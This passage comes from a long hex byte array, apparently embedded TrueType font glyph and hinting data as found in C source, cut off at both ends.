0x3,0x17,0x2f,0x3c,0xb5,0x8,0x7,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0x31, - 0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x23,0x11,0x21,0x35,0x21,0x11,0x2,0xc2,0x1, - 0x39,0xfe,0xc7,0x9a,0xfe,0xc4,0x1,0x3c,0x5,0x55,0xfe,0x89,0x74,0xfa,0xfc,0x5, - 0x4,0x74,0x1,0x77,0x0,0x0,0x1,0x0,0xec,0xfe,0x66,0x3,0xfb,0x5,0x55,0x0, - 0x13,0x0,0x66,0xb4,0x11,0x10,0xd,0xc,0x3,0x17,0x2f,0x3c,0xb6,0x13,0x12,0xf, - 0xe,0xb,0xa,0x5,0x17,0x2f,0x3c,0xb4,0x7,0x6,0x3,0x2,0x3,0x17,0x2f,0x3c, - 0xb7,0x0,0x9,0x8,0x5,0x4,0x1,0x5,0xa,0x10,0x17,0xdd,0x3c,0x0,0xb7,0x1, - 0x0,0x13,0x0,0xa,0x9,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb4, - 0xc,0xb,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb4,0x12,0x11,0x2,0x1,0x3,0x17,0x2f, - 0x3c,0xb5,0x10,0xf,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb5,0xe,0xd,0x6, - 0x5,0x3,0x7,0x10,0x17,0xdd,0x3c,0x31,0x30,0x1,0x11,0x21,0x15,0x21,0x11,0x21, - 0x15,0x21,0x11,0x23,0x11,0x21,0x35,0x21,0x11,0x21,0x35,0x21,0x11,0x2,0xc2,0x1, - 0x39,0xfe,0xc7,0x1,0x39,0xfe,0xc7,0x9a,0xfe,0xc4,0x1,0x3c,0xfe,0xc4,0x1,0x3c, - 0x5,0x55,0xfe,0x89,0x74,0xfc,0xe8,0x74,0xfe,0x88,0x1,0x78,0x74,0x3,0x18,0x74, - 0x1,0x77,0x0,0x0,0x1,0x1,0x7,0x2,0x9f,0x3,0xe2,0x5,0x55,0x0,0xe,0x0, - 0x66,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0xd,0xc,0xa,0x10,0xdd,0x3c,0xb5,0x9,0x8, - 0x7,0x6,0x5,0xa,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xb5,0xe,0x3,0x2,0x1,0x0, - 0xc,0x10,0xc0,0xc0,0xc0,0xc0,0xc0,0xb2,0x4,0xc,0xa,0x11,0x12,0x39,0x0,0xb4, - 0x1,0xc,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0x40,0xc,0x1,0x1,0x6,0x5, - 0x4,0x3,0x2,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14, - 0x40,0xd,0x1,0xe,0xd,0xa,0x9,0x8,0x7,0x1,0x0,0x8,0xb,0x2,0x0,0x13, - 0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x5,0x17,0x7,0x27,0x7,0x27,0x37,0x25, - 0x37,0x5,0x11,0x33,0x11,0x25,0x3,0xe2,0xfe,0xe7,0xa7,0x50,0xaa,0xb7,0x50,0xaf, - 0xfe,0xe9,0x23,0x1,0x18,0x66,0x1,0x16,0x4,0x32,0x69,0xee,0x3c,0xf7,0xf7,0x3c, - 0xee,0x69,0x64,0x64,0x1,0x23,0xfe,0xdd,0x64,0x0,0x1,0x0,0x5d,0x3,0x33,0x0, - 0xe7,0x5,0x55,0x0,0x3,0x0,0x1d,0xb3,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e, - 0x0,0xb7,0x1,0x0,0x1,0x1,0x3,0x2,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd, - 0xcd,0x13,0x31,0x30,0x13,0x23,0x3,0x33,0xd3,0x63,0x13,0x8a,0x3,0x33,0x2,0x22, - 0x0,0x0,0x2,0x0,0x5d,0x3,0x33,0x2,0x22,0x5,0x55,0x0,0x3,0x0,0x7,0x0, - 0x32,0xb7,0x7,0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x0,0x40,0xe,0x1,0x4,0x5,0x1,0x7,0x6,0x0,0x0,0x1,0x1,0x3, - 0x2,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd, - 0x13,0x31,0x30,0x13,0x23,0x3,0x33,0x1,0x23,0x3,0x33,0xd3,0x63,0x13,0x8a,0x1, - 0x28,0x63,0x14,0x8a,0x3,0x33,0x2,0x22,0xfd,0xde,0x2,0x22,0x0,0x0,0x2,0x0, - 0x52,0x0,0x15,0x4,0xb8,0x4,0xb8,0x0,0x2f,0x0,0x3a,0x0,0x89,0xb1,0x2,0x1, - 0x2f,0x3c,0xb2,0x0,0x2f,0x1,0x10,0xdd,0x3c,0xb4,0x39,0x2e,0x29,0x18,0x2f,0x10, - 0xc4,0xc4,0xc0,0xc4,0xb4,0x1e,0x13,0x12,0x3,0x1,0x10,0xc0,0xc0,0xc0,0xc4,0xb3, - 0x24,0x23,0x1,0x2f,0x11,0x12,0x39,0x39,0xb5,0x33,0x29,0xd,0x18,0x7,0x1e,0x10, - 0xcd,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x0,0x1,0x2f,0x3c,0x40,0x13,0x26,0x21,0x1, - 0x1,0x2f,0x2e,0x26,0x24,0x23,0x21,0x13,0x12,0x3,0x2,0xa,0x2,0x0,0x0,0x0, - 0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0xb5,0x1b,0x1,0x1b,0x1,0x0, - 0x1,0x11,0x14,0x12,0x39,0x14,0x2f,0xb3,0x2c,0x2,0x15,0x0,0x3f,0x3f,0x40,0xa, - 0x36,0x26,0x30,0x2c,0x10,0x15,0xa,0x1b,0x5,0x21,0x10,0xcd,0x10,0xcd,0x10,0xcd, - 0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x33,0x11,0x17,0x14,0x33,0x32,0x11,0x10,0x26, - 0x21,0x20,0x6,0x11,0x10,0x16,0x21,0x20,0x37,0x17,0x6,0x21,0x20,0x26,0x11,0x10, - 0x36,0x21,0x20,0x16,0x11,0x10,0x6,0x23,0x22,0x27,0x23,0x6,0x23,0x22,0x26,0x35, - 0x34,0x36,0x33,0x32,0x17,0x33,0x27,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35, - 0x34,0x3,0x45,0x66,0x2,0x53,0x63,0x86,0xfe,0xc3,0xfe,0x9e,0x97,0xa7,0x1,0x79, - 0x1,0x0,0x2c,0x44,0x3c,0xfe,0xbb,0xfe,0x75,0xd9,0xce,0x1,0x80,0x1,0x53,0xc5, - 0x4e,0x68,0x91,0x17,0x4,0x30,0xc3,0x96,0x70,0x71,0x98,0xb1,0x2b,0x3,0xc2,0x7a, - 0x46,0x46,0x70,0x87,0x44,0x3,0xc9,0xfe,0x29,0x2b,0x6c,0x1,0x5f,0x1,0x28,0x7d, - 0x94,0xfe,0xa6,0xfe,0x90,0xa4,0x52,0x31,0x69,0xd5,0x1,0x85,0x1,0x7d,0xcc,0xaa, - 0xfe,0xda,0xfe,0xf4,0xc9,0x6e,0x74,0x98,0xcc,0xc6,0x92,0x5e,0x16,0x64,0xaf,0xac, - 0x6d,0x71,0xe2,0xd9,0x0,0x0,0x2,0x0,0x5e,0x0,0x0,0x4,0x8b,0x5,0x55,0x0, - 0x1b,0x0,0x1f,0x0,0x8d,0x40,0x20,0x1f,0x1e,0x1d,0x1c,0x1b,0x1a,0x19,0x18,0x17, - 0x16,0x15,0x14,0x13,0x12,0x11,0x10,0xf,0xe,0xd,0xc,0xb,0xa,0x9,0x8,0x7, - 0x6,0x5,0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb6,0x1,0x16,0x15,0x12,0x11,0x0,0x0, - 0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb4,0x8,0x7,0x4,0x3,0x3,0x17,0x2f,0x3c, - 0xb6,0xa,0x9,0x6,0x5,0x2,0x1,0x5,0x17,0x2f,0x3c,0xb6,0x18,0x17,0x14,0x13, - 0x10,0xf,0x5,0x17,0x2f,0x3c,0xb7,0x1c,0x1d,0x1a,0x19,0xe,0xd,0x5,0xf,0x10, - 0x17,0xdd,0x3c,0xb7,0x1f,0x1e,0x0,0x1b,0xc,0xb,0x5,0x1,0x10,0x17,0xdd,0x3c, - 0x31,0x30,0x1,0x7,0x23,0x3,0x23,0x13,0x21,0x3,0x23,0x13,0x23,0x37,0x33,0x13, - 0x23,0x37,0x33,0x13,0x33,0x3,0x21,0x13,0x33,0x3,0x33,0x7,0x23,0xb,0x1,0x21, - 0x3,0x21,0x4,0x4d,0x10,0xec,0x44,0x6d,0x45,0xfe,0xd0,0x44,0x6c,0x45,0xec,0xf, - 0xec,0x31,0xec,0x10,0xec,0x43,0x6c,0x44,0x1,0x2f,0x44,0x6d,0x44,0xea,0x10,0xea, - 0x30,0x3c,0xfe,0xd1,0x31,0x1,0x2f,0x2,0xd,0x5c,0xfe,0x4f,0x1,0xb1,0xfe,0x4f, - 0x1,0xb1,0x5c,0x1,0x40,0x5c,0x1,0xac,0xfe,0x54,0x1,0xac,0xfe,0x54,0x5c,0xfe, - 0xc0,0x1,0x40,0xfe,0xc0,0x0,0x2,0x0,0x5d,0x3,0x3d,0x2,0x90,0x5,0x65,0x0, - 0xb,0x0,0x13,0x0,0x2f,0xb1,0x9,0x3,0x2f,0x2f,0xb3,0x12,0x3,0xe,0x9,0x10, - 0xcd,0x10,0xcd,0x0,0xb7,0x6,0x1,0x1,0x6,0x2,0x0,0x0,0x0,0x13,0x11,0x14, - 0x12,0x39,0x13,0x14,0x2f,0xb1,0x0,0x1,0x3f,0xb3,0x10,0x6,0xc,0x0,0x10,0xcd, - 0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22,0x26,0x35,0x34,0x36, - 0x17,0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x1,0x77,0x74,0xa5,0xa5,0x74,0x75,0xa5, - 0xa5,0x75,0xc5,0xc5,0xc4,0x5,0x65,0xa2,0x72,0x72,0xa2,0xa2,0x72,0x73,0xa1,0x54, - 0xc0,0xc0,0xc0,0xc0,0x0,0x0,0x1,0x0,0x9b,0x0,0xd2,0x4,0x4d,0x4,0x84,0x0, - 0xb,0x0,0x3f,0xb1,0x3,0x2,0x2f,0x3c,0xb4,0x0,0x5,0x4,0x1,0x3,0x17,0x2f, - 0x3c,0xb1,0x9,0x8,0x2f,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x1,0x10,0x17,0xdd, - 0x3c,0x0,0xb1,0x0,0xb,0x2f,0x3c,0xb4,0x8,0x7,0x4,0x3,0x3,0x17,0x2f,0x3c, - 0xb1,0x6,0x5,0x2f,0x3c,0xb5,0xa,0x9,0x2,0x1,0x3,0x3,0x10,0x17,0xdd,0x3c, - 0x31,0x30,0x25,0x11,0x21,0x35,0x21,0x11,0x33,0x11,0x21,0x15,0x21,0x11,0x2,0x2e, - 0xfe,0x6d,0x1,0x93,0x8c,0x1,0x93,0xfe,0x6d,0xd2,0x1,0x97,0x82,0x1,0x99,0xfe, - 0x67,0x82,0xfe,0x69,0x0,0x0,0x3,0x0,0x9b,0x1,0x1,0x4,0x4d,0x4,0x55,0x0, - 0x7,0x0,0xf,0x0,0x13,0x0,0x45,0xb1,0x10,0x13,0x2f,0x3c,0xb1,0x12,0x11,0x2f, - 0x3c,0xb1,0xe,0x6,0x2f,0x2f,0xb3,0xa,0xe,0x2,0x6,0x10,0xcd,0x10,0xcd,0x0, - 0xb1,0x10,0x11,0x2f,0x3c,0xb2,0x13,0x12,0x11,0x10,0xdd,0x3c,0xb7,0xc,0x1,0x1, - 0xc,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x2f,0xb1,0x4,0x2, - 0x3f,0xb3,0x8,0xc,0x0,0x4,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x15,0x14, - 0x23,0x22,0x35,0x34,0x13,0x32,0x15,0x14,0x23,0x22,0x35,0x34,0x1,0x21,0x15,0x21, - 0x2,0x74,0x5d,0x5d,0x5c,0x5c,0x5d,0x5d,0x5c,0xfe,0x83,0x3,0xb2,0xfc,0x4e,0x4, - 0x55,0x5c,0x5d,0x5d,0x5c,0xfd,0x65,0x5c,0x5d,0x5d,0x5c,0x1,0x31,0x82,0x0,0x0, - 0x2,0x0,0x9b,0x1,0xbf,0x4,0x4d,0x3,0x96,0x0,0x3,0x0,0x7,0x0,0x2f,0xb1, - 0x0,0x3,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb1,0x4,0x7,0x2f,0x3c,0xb1,0x6, - 0x5,0x2f,0x3c,0x0,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb2,0x3, - 0x2,0x1,0x10,0xdd,0x3c,0xb2,0x4,0x5,0x6,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21, - 0x15,0x21,0x15,0x21,0x15,0x21,0x9b,0x3,0xb2,0xfc,0x4e,0x3,0xb2,0xfc,0x4e,0x3, - 0x96,0x82,0xd3,0x82,0x0,0x0,0x2,0xff,0xfd,0x2,0x4b,0x6,0x1a,0x5,0x55,0x0, - 0x7,0x0,0x29,0x0,0x98,0xb1,0x5,0x4,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1, - 0x7,0x6,0x2f,0x3c,0xb1,0x1f,0x1e,0x2f,0x3c,0xb1,0x8,0x9,0x2f,0x3c,0xb2,0x0, - 0x1,0x2,0x10,0xdd,0x3c,0xb6,0x1d,0x1c,0x1b,0x1a,0x19,0x4,0x1e,0x10,0x17,0xdd, - 0x3c,0xb6,0xe,0xd,0xc,0xb,0xa,0x4,0x9,0x10,0x17,0xdd,0x3c,0xb7,0x29,0x24, - 0x20,0x14,0x13,0x5,0xa,0x19,0x11,0x12,0x17,0x39,0x0,0x40,0xf,0x1,0x8,0x29, - 0x20,0x1f,0x0,0x0,0x7,0x4,0x3,0x1,0x6,0x5,0x0,0x0,0x13,0x10,0xcd,0xcd, - 0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c, - 0xb6,0x1e,0x1d,0x14,0x13,0xa,0x9,0x5,0x17,0x2f,0x3c,0xb4,0x1,0x24,0x2,0x0, - 0x9,0x11,0x14,0x12,0x39,0x14,0x40,0xd,0x1,0x1c,0x1b,0x1a,0x19,0xe,0xd,0xc, - 0xb,0x8,0x1f,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x11,0x23, - 0x11,0x21,0x35,0x21,0x15,0x25,0x11,0x23,0x11,0x3d,0x2,0x6,0xf,0x2,0x1,0x23, - 0x1,0x2f,0x1,0x26,0x27,0x1d,0x2,0x11,0x23,0x11,0x33,0x13,0x1f,0x2,0x36,0x3f, - 0x2,0x13,0x1,0x65,0x66,0xfe,0xfe,0x2,0x69,0x3,0xb4,0x66,0x3,0x2,0x6,0x6, - 0xfe,0xf0,0x63,0xfe,0xf0,0x6,0x6,0x2,0x4,0x66,0xa6,0xd5,0x22,0x10,0xb,0x9, - 0x3,0x10,0x22,0xd4,0x4,0xf9,0xfd,0x52,0x2,0xae,0x5c,0x5c,0x5c,0xfc,0xf6,0x2, - 0x6a,0xf,0x1f,0xe,0x9,0x3,0xf,0xe,0xfd,0x83,0x2,0x75,0xc,0xe,0x4,0xb, - 0x12,0x11,0x11,0xfd,0x96,0x3,0xa,0xfe,0xd,0x50,0x28,0x1a,0x13,0x7,0x28,0x50, - 0x1,0xf3,0x0,0x0,0x1,0x0,0x60,0xfe,0x66,0x4,0x44,0x5,0x55,0x0,0x10,0x0, - 0x49,0xb1,0x4,0x3,0x2f,0x3c,0xb1,0x0,0x10,0x2f,0x3c,0xb2,0x6,0x5,0x3,0x10, - 0xdd,0x3c,0xb2,0x2,0x1,0x10,0x10,0xdd,0x3c,0xb4,0xf,0xe,0xb,0x7,0x5,0x10, - 0xc0,0xc4,0xc0,0xc0,0x0,0x40,0xe,0x1,0x3,0x2,0x1,0x10,0xf,0xe,0x0,0x0, - 0x5,0x4,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd,0xcd,0x10,0xcd,0xcd,0xcd,0x10, - 0xcd,0xcd,0x13,0xb1,0x7,0x6,0x2f,0x3c,0x31,0x30,0x1,0x23,0x11,0x23,0x11,0x23, - 0x11,0x23,0x27,0x22,0x26,0x35,0x34,0x36,0x3b,0x1,0x21,0x4,0x44,0x8c,0xa0,0x8c, - 0x50,0x2f,0xf8,0xb5,0xaa,0xe5,0x34,0x2,0x21,0xfe,0x66,0x6,0x6d,0xf9,0x93,0x3, - 0xb1,0x1,0xaa,0xe9,0xf5,0xb5,0x0,0x0,0x2,0x0,0x72,0x0,0xaa,0x4,0xe4,0x5, - 0x11,0x0,0x1b,0x0,0x27,0x0,0x73,0x40,0x12,0x1b,0x1a,0x16,0x15,0x14,0x13,0x11, - 0xf,0xe,0xd,0xc,0x8,0x7,0x6,0x5,0x3,0x1,0x0,0x2e,0x2e,0x2f,0x2e,0x2e, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2f,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0xb3,0x25,0x11, - 0x1f,0x3,0x10,0xcd,0x10,0xcd,0x0,0x40,0x11,0x18,0x1,0x1,0x1b,0x1a,0x18,0x16, - 0x15,0x14,0x13,0x1,0x0,0x9,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39, - 0x13,0x14,0x2f,0x40,0x11,0xa,0x1,0x1,0xf,0xe,0xd,0xc,0xa,0x8,0x7,0x6, - 0x5,0x9,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0xb3, - 0x22,0x18,0x1c,0xa,0x10,0xcd,0x10,0xcd,0x31,0x30,0x3f,0x1,0x26,0x35,0x34,0x37, - 0x27,0x37,0x17,0x36,0x33,0x32,0x17,0x37,0x17,0x7,0x16,0x15,0x14,0x7,0x17,0x7, - 0x27,0x6,0x23,0x22,0x27,0x7,0x1,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35, - 0x34,0x26,0x77,0xbe,0x68,0x68,0xc3,0x50,0xc1,0x8f,0x9c,0x97,0x8b,0xc2,0x4f,0xc0, - 0x69,0x67,0xc1,0x4f,0xc1,0x89,0xa0,0x92,0x93,0xc0,0x1,0xe6,0x90,0xca,0xcb,0x8f, - 0x8e,0xcb,0xca,0xfa,0xc1,0x88,0x9a,0x98,0x8b,0xc1,0x50,0xc1,0x6b,0x6a,0xbf,0x4f, - 0xbf,0x8e,0x98,0x95,0x8c,0xc1,0x50,0xc1,0x69,0x69,0xc1,0x3,0x8f,0xcc,0x90,0x8e, - 0xcb,0xcb,0x8e,0x91,0xcb,0x0,0x1,0x0,0x6d,0xff,0x37,0x1,0x1b,0x0,0xb8,0x0, - 0xb,0x0,0x42,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1, - 0xa,0x10,0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0, - 0xb4,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0xa,0x9,0x2f,0x3c, - 0x40,0xa,0x3,0x1,0x6,0x5,0x3,0x1,0x4,0x9,0x3,0x0,0x13,0x11,0x12,0x17, - 0x39,0x13,0x2f,0x31,0x30,0x25,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23, - 0x35,0x1,0x1b,0x88,0xd,0x19,0x56,0x1,0x41,0xb8,0xc6,0xbb,0x2,0x4c,0x5,0x53, - 0x23,0xb8,0x0,0x0,0x1,0x0,0x7b,0x3,0xd3,0x1,0x29,0x5,0x55,0x0,0xb,0x0, - 0x43,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb2,0x0,0x1,0xa,0x10, - 0xdd,0x3c,0xb4,0x8,0x9,0x8,0x1,0xa,0x11,0x12,0x39,0x39,0x2f,0x0,0xb7,0x1, - 0xa,0x9,0x1,0x0,0xb,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb7, - 0x1,0x6,0x5,0x1,0x3,0x9,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0xb1,0x3, - 0x2,0x3f,0x31,0x30,0x1,0x15,0x14,0x23,0x22,0x27,0x35,0x36,0x35,0x27,0x23,0x35, - 0x1,0x29,0x88,0xc,0x1a,0x56,0x1,0x41,0x5,0x55,0xc7,0xbb,0x2,0x4d,0x5,0x53, - 0x23,0xb8,0x0,0x0,0x1,0x0,0xab,0xfe,0x66,0x2,0x65,0x5,0x55,0x0,0x19,0x0, - 0x7a,0xb1,0xe,0xd,0x2f,0x3c,0xb4,0x11,0x10,0xb,0xa,0x3,0x17,0x2f,0x3c,0xb4, - 0x15,0x14,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb5,0x18,0x17,0x3,0x2,0x3,0xa,0x10, - 0x17,0xdd,0x3c,0xb2,0x0,0x2,0xa,0x11,0x12,0x39,0xb3,0x13,0x8,0x6,0x2,0x11, - 0x12,0x39,0x39,0x0,0xb7,0x1,0x14,0x13,0x0,0x8,0x7,0x0,0x0,0x13,0x10,0xcd, - 0xcd,0x10,0xcd,0xcd,0x13,0xb5,0x1,0xa,0x3,0x0,0x0,0x5,0x11,0x14,0x12,0x39, - 0x39,0x14,0x40,0xe,0x1,0x1,0x18,0x10,0xe,0xd,0xb,0x2,0x0,0x7,0x2,0x0, - 0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x17,0x15,0x11,0x3, - 0x13,0x2,0x0,0x13,0x11,0x12,0x17,0x39,0x13,0x31,0x30,0x1,0x16,0x15,0x11,0x14, - 0x3b,0x1,0x15,0x23,0x22,0x19,0x1,0x34,0x27,0x35,0x36,0x35,0x11,0x10,0x3b,0x1, - 0x15,0x22,0x15,0x11,0x14,0x1,0x2c,0x80,0xab,0xe,0x58,0xed,0x75,0x75,0xed,0x58, - 0xb9,0x1,0xdf,0x3d,0xb1,0xfe,0xab,0xc5,0x71,0x1,0x33,0x1,0x52,0x98,0x23,0x71, - 0x22,0x9a,0x1,0x51,0x1,0x31,0x6f,0xc5,0xfe,0xab,0xb1,0x0,0x1,0x0,0xab,0xfe, - 0x66,0x2,0x65,0x5,0x55,0x0,0x19,0x0,0x81,0xb4,0x15,0x14,0x7,0x6,0x3,0x17, - 0x2f,0x3c,0xb4,0x18,0x17,0x3,0x2,0x3,0x17,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c, - 0xb5,0x11,0x10,0xb,0xa,0x3,0x2,0x10,0x17,0xdd,0x3c,0xb3,0x13,0x8,0x2,0x6, - 0x11,0x12,0x39,0x39,0xb2,0x0,0xa,0x2,0x11,0x12,0x39,0x0,0x40,0xb,0x1,0x6, - 0x5,0x1,0x8,0x7,0x0,0x14,0x13,0x0,0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd, - 0x10,0xcd,0xcd,0x13,0xb7,0x1,0x17,0x15,0x11,0x3,0x0,0x0,0x13,0x11,0x14,0x12, - 0x17,0x39,0x14,0x40,0xe,0x1,0x1,0x18,0x10,0xe,0xd,0xb,0x2,0x0,0x7,0x2, - 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb5,0x1,0xa,0x3,0x5, - 0x2,0x0,0x13,0x11,0x12,0x39,0x39,0x13,0x31,0x30,0x1,0x26,0x35,0x11,0x34,0x2b, - 0x1,0x35,0x33,0x32,0x19,0x1,0x14,0x17,0x15,0x6,0x15,0x11,0x10,0x2b,0x1,0x35, - 0x32,0x35,0x11,0x34,0x1,0xe8,0x80,0xaf,0xe,0x5a,0xef,0x71,0x71,0xef,0x5a,0xbd, - 0x1,0xdd,0x3c,0xb1,0x1,0x55,0xc5,0x71,0xfe,0xcd,0xfe,0xae,0x98,0x23,0x71,0x24, - 0x97,0xfe,0xae,0xfe,0xcf,0x6f,0xc5,0x1,0x55,0xb1,0x0,0x0,0x3,0x0,0x75,0x2, - 0x82,0x2,0xb3,0x5,0x5d,0x0,0x17,0x0,0x1f,0x0,0x23,0x0,0x8a,0xb1,0x7,0x6, - 0x2f,0x3c,0xb1,0x22,0x21,0x2f,0x3c,0xb2,0x12,0x11,0x6,0x10,0xdd,0x3c,0xb5,0x17, - 0xd,0x8,0x1,0x0,0x11,0x10,0xc0,0xc0,0xc0,0xc4,0xc4,0xb2,0x23,0x20,0x21,0x10, - 0xc0,0xc0,0xb4,0x1e,0x1e,0x9,0x6,0x11,0x11,0x12,0x39,0x39,0x2f,0xb1,0x1a,0xd, - 0x10,0xcd,0x0,0xb1,0x8,0x7,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x20,0x21, - 0x2f,0x3c,0xb2,0x23,0x22,0x21,0x10,0xdd,0x3c,0xb5,0xb,0x1,0xb,0x7,0x0,0x0, - 0x13,0x11,0x12,0x39,0x13,0x2f,0xb4,0x1,0x9,0x2,0x0,0x7,0x11,0x14,0x12,0x39, - 0x14,0x40,0xa,0xf,0x1,0x12,0x11,0xf,0x6,0x4,0x1,0x2,0x0,0x13,0x11,0x12, - 0x17,0x39,0x13,0x2f,0xb1,0x4,0x1,0x3f,0xb5,0x1c,0xb,0x18,0xf,0x15,0x4,0x10, - 0xcd,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x23,0x34,0x36,0x33,0x32,0x15,0x11,0x23, - 0x37,0x6,0x23,0x22,0x35,0x34,0x33,0x32,0x17,0x35,0x34,0x26,0x23,0x22,0x15,0x17, - 0x22,0x15,0x14,0x33,0x32,0x35,0x34,0x1,0x21,0x15,0x21,0x1,0xd,0x62,0x5c,0x8a, - 0xff,0x67,0x6,0x3f,0x74,0xe9,0xe7,0x7b,0x35,0x33,0x5b,0x90,0x80,0x93,0x91,0xa4, - 0xfe,0x49,0x2,0x3c,0xfd,0xc2,0x4,0xb2,0x66,0x45,0xc4,0xfe,0x9a,0x2d,0x35,0xa8, - 0xb1,0x29,0x2d,0x5a,0x33,0x4c,0x8d,0x62,0x67,0x61,0x68,0xfe,0x98,0x52,0x0,0x0, - 0x3,0x0,0x84,0x2,0x82,0x2,0xc2,0x5,0x6a,0x0,0xb,0x0,0x17,0x0,0x1b,0x0, - 0x47,0xb1,0x1a,0x19,0x2f,0x3c,0xb2,0x1b,0x18,0x19,0x10,0xc0,0xc0,0xb1,0x9,0x3, - 0x2f,0x2f,0xb3,0x15,0x3,0xf,0x9,0x10,0xcd,0x10,0xcd,0x0,0xb1,0x18,0x19,0x2f, - 0x3c,0xb2,0x1b,0x1a,0x19,0x10,0xdd,0x3c,0xb7,0x6,0x1,0x1,0x6,0x2,0x0,0x0, - 0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x2f,0xb1,0x0,0x1,0x3f,0xb3,0x12,0x6, - 0xc,0x0,0x10,0xcd,0x10,0xcd,0x31,0x30,0x1,0x32,0x16,0x15,0x14,0x6,0x23,0x22, - 0x26,0x35,0x34,0x36,0x17,0x22,0x6,0x15,0x14,0x16,0x33,0x32,0x36,0x35,0x34,0x26, - 0x1,0x21,0x15,0x21,0x1,0xa3,0xa6,0x65,0x65,0xa6,0xa6,0x65,0x65,0xa6,0x67,0x30, - 0x2f,0x68,0x67,0x30,0x30,0xfe,0x7c,0x2,0x3c,0xfd,0xc2,0x5,0x6a,0x6d,0xb3,0xb2, - 0x6d,0x6d,0xb3,0xb2,0x6d,0x59,0x3f,0x87,0x89,0x3e,0x3f,0x88,0x87,0x3f,0xfd,0xc3, - 0x52,0x0,0x2,0x0,0x94,0x0,0x7c,0x4,0x54,0x4,0xe2,0x0,0xb,0x0,0xf,0x0, - 0x55,0xb1,0x0,0xb,0x2f,0x3c,0xb4,0xa,0x9,0x2,0x1,0x3,0x17,0x2f,0x3c,0xb1, - 0x6,0x5,0x2f,0x3c,0xb1,0xc,0xf,0x2f,0x3c,0xb1,0xe,0xd,0x2f,0x3c,0xb5,0x8, - 0x7,0x4,0x3,0x3,0x1,0x10,0x17,0xdd,0x3c,0x0,0xb1,0x9,0x8,0x2f,0x3c,0xb4, - 0x0,0x5,0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0xf,0xe, - 0x2f,0x3c,0xb5,0xb,0xa,0x7,0x6,0x3,0x1,0x10,0x17,0xdd,0x3c,0xb2,0xc,0xd, - 0xe,0x10,0xdd,0x3c,0x31,0x30,0x13,0x21,0x11,0x33,0x11,0x21,0x15,0x21,0x11,0x23, - 0x11,0x21,0x11,0x21,0x15,0x21,0x94,0x1,0x94,0x9a,0x1,0x92,0xfe,0x6e,0x9a,0xfe, - 